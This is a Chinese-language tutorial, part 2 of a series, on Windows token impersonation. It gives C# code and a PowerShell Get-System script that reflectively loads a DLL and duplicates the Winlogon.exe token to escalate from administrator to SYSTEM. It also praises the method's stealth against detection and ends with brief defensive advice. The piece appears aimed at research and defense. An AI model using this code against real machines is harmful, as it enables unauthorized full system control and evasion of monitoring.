Windows API and Impersonation Part 2 - 如何使用Impersonation Tokens获取system权限
字数 1405 2025-08-27 12:33:31
Windows API 与令牌模拟技术研究 - 第二部分:使用模拟令牌获取 SYSTEM 权限
1. 令牌类型概述
在 Windows 系统中,存在两种主要类型的令牌:
1.1 Primary Token (主令牌)
- 每个进程都有一个主令牌
- 新线程创建时会从父级继承主令牌
- 不能在同一进程内"交换"主令牌
- 只能通过创建新进程来使用复制的令牌
1.2 Impersonation Token (模拟令牌)
- 每个进程也有模拟令牌
- 新线程创建时同样会继承模拟令牌
- 可以在同一进程内交换模拟令牌
- 允许创建新线程,获取远程进程令牌,然后与当前线程交换
2. 技术实现原理
本技术通过以下步骤获取 SYSTEM 权限:
- 获取 Winlogon.exe 进程的令牌(SYSTEM 权限)
- 复制该令牌的模拟令牌
- 将当前线程的令牌替换为复制的模拟令牌
- 当前线程即获得 SYSTEM 权限
3. 关键 API 函数
实现此技术需要以下 Windows API 函数:
| 函数名称 | 作用 |
|---|---|
LookupPrivilegeValue |
查找特权值 |
AdjustTokenPrivileges |
调整令牌特权 |
PrivilegeCheck |
检查特权状态 |
OpenProcess |
打开进程 |
OpenProcessToken |
打开进程令牌 |
DuplicateToken |
复制令牌 |
SetThreadToken |
设置线程令牌 |
4. 所需数据结构
需要导入以下结构体:
LUID_AND_ATTRIBUTESPRIVILEGE_SETLUIDTOKEN_PRIVILEGES
5. C# DLL 实现
5.1 关键常量定义
public static uint SE_PRIVILEGE_ENABLED = 0x00000002;
public static uint TOKEN_DUPLICATE = 0x00000002;
public static uint TOKEN_IMPERSONATE = 0x00000004;
public static uint TOKEN_QUERY = 0x00000008;
public static uint TOKEN_ADJUST_PRIVILEGES = 0x00000020;
public static uint TOKEN_ALL_ACCESS = STANDARD_RIGHTS_REQUIRED | TOKEN_ASSIGN_PRIMARY | TOKEN_DUPLICATE | TOKEN_IMPERSONATE | TOKEN_QUERY | TOKEN_QUERY_SOURCE | TOKEN_ADJUST_PRIVILEGES | TOKEN_ADJUST_GROUPS | TOKEN_ADJUST_DEFAULT | TOKEN_ADJUST_SESSIONID;
5.2 核心功能方法
检查特权是否启用
public static bool IsPrivilegeEnabled(string Privilege)
{
// 实现细节...
}
启用特权
public static bool EnablePrivilege(string Privilege)
{
// 实现细节...
}
模拟进程令牌
public static bool ImpersonateProcessToken(int pid)
{
IntPtr hProcess = OpenProcess(ProcessAccessFlags.QueryInformation, true, pid);
if (hProcess == IntPtr.Zero) return false;
IntPtr hToken;
if (!OpenProcessToken(hProcess, TOKEN_IMPERSONATE | TOKEN_DUPLICATE, out hToken))
return false;
IntPtr DuplicatedToken = new IntPtr();
if (!DuplicateToken(hToken, 2, ref DuplicatedToken))
return false;
if (!SetThreadToken(IntPtr.Zero, DuplicatedToken))
return false;
return true;
}
6. PowerShell 实现
6.1 重要注意事项
- PowerShell 必须在 STA (Single Thread Apartment) 模式下运行
- 默认是 MTA (Multi Thread Apartment) 模式,会导致方法失败
- 启动 STA 模式的 PowerShell:
powershell.exe -sta - 检查当前模式:
[Threading.Thread]::CurrentThread.GetApartmentState()
6.2 DLL 加载与使用
# 加载 DLL 到内存
[System.Reflection.Assembly]::Load([IO.File]::ReadAllBytes("ImpersonationTokenDLL.dll")) | Out-Null
# 检查类是否可用
[zc00l.ImpersonationToken]
# 检查方法是否可用
[zc00l.ImpersonationToken]::IsPrivilegeEnabled
[zc00l.ImpersonationToken]::EnablePrivilege
[zc00l.ImpersonationToken]::ImpersonateProcessToken
6.3 完整 PowerShell 脚本
function Get-System {
# 检查是否 STA 模式
if([System.Threading.Thread]::CurrentThread.GetApartmentState() -ne 'STA') {
Write-Output "This powershell shell is not in STA mode!";
return;
}
# 加载 DLL
if(-not ([System.Management.Automation.PSTypeName]"zc00l.ImpersonationToken").Type) {
[Reflection.Assembly]::Load([Convert]::FromBase64String("BASE64_ENCODED_DLL")) | Out-Null
Write-Output "DLL has been reflected."
}
# 模拟 Winlogon 令牌
if(-not [zc00l.ImpersonationToken]::ImpersonateProcessToken((Get-Process Winlogon).Id)) {
Write-Output "Could not Impersonate Token! Maybe you are not Local Admin?";
return;
}
Write-Output "We are: $([Environment]::Username)"
}
7. 技术优势
- 隐蔽性:使用自定义 C# DLL 而非直接调用 API,减少检测风险
- 灵活性:可在同一进程内交换令牌,无需创建新进程
- 权限提升:从管理员权限提升到 SYSTEM 权限
- 特权操作:可以启用所有 Windows 特权
8. 防御建议
- 监控
Winlogon.exe进程的令牌访问 - 检测异常的特权启用操作
- 阻止非必要的 STA 模式 PowerShell 执行
- 监控内存中的 DLL 加载行为
- 限制本地管理员权限的使用
9. 总结
这种使用模拟令牌获取 SYSTEM 权限的技术相比传统方法具有更好的隐蔽性和灵活性。通过理解 Windows 令牌机制和 API 调用方式,安全研究人员可以更好地评估系统安全性,同时防御此类攻击技术。